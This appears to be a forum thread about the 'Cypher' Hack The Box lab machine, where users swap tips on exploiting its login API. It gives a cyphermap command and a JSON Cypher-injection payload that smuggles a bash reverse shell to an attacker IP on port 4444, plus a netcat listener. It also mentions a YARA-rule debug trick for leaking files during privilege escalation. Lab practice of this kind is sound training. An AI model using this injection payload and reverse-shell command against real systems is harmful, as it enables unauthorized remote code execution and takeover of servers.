[robonick]

how do you guys know that --custom-yara-rule with debug flag might return the file content for privesc? btw can we escalate to root on this machine?

[aliciadesta]

working with the cypher injection so far no sucess

git clone https://github.com/sectroyer/cyphermap

python3 cyphermap.py -u "http://cypher.htb/api/auth" -d '{"username":"*","password":"Password123"}'

Hi, try this on burpsuit repeter :

{
    "username": "user' return h.value as a union CALL custom.getUrlStatusCode(\"http://cypher.htb; bash -c 'bash -i >& /dev/tcp/10.10.X.X/4444 0>&1'\") YIELD statusCode AS a RETURN a;//",
    "password": "123"
}

and on your machine :
└─# nc -lvnp 4444


A